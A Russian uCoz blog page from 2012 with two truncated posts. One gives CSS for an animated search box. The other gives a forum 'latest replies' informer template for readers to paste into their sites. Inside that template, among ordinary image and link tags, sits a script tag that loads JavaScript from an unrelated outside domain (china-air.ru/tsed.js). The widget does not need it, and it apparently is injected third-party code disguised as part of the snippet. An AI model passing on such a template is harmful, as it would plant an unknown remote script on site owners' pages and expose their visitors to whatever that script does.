Блог

Главная » 2012 » Декабрь » 23
[c][/c]Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

[code]#search {
font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
background:#fff;
width: 8px;
padding: 0 8px;
height: 24px;
font-size: 14px;
color: #666;
line-height: 24px;
border: 0;
outline: none;
border-radius: 50px;
position: relative;
z-index: 5;
-moz-transition: .1s ease;
-ms-transition: .1s ease;
-webkit-transition: .1s ease;
-o-transition: .1s ease;
transition: ... Читать дальше »
Просмотров: 168 | Добавил: startsmart | Дата: 24.12.2012 | Комментарии (0)

[c][/c]Последние ответы на форуме в блоке для ucoz.

Установка:

Создаем информер: Название: Статистика форума в блоке --> Раздел: Форум --> Способ сортировки: Последние обновленные темы --> Количество материалов: 5 --> Количество колонок: 1.

В шаблоне информера всё удаляем, ставим этот код:

[code]<img src="http://bambun.ru/images/756432556s.png"><a href="$THREAD_URL$"> $THREAD_TITLE$</a><br>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<img src="http://bambun.ru/images/56786821.png"> <font face="Comic Sans MS">Ответов:</font> $REPLIES$</span>
<div style="font:7pt" align="left"><a href="$FORUM_URL$"> [$FORUM$]</a></div></li><hr> [/code]


Код информера ставите на страницах сайта в нужно ... Читать дальше »
Просмотров: 136 | Добавил: startsmart | Дата: 23.12.2012 | Комментарии (0)

Приветствую Вас Гость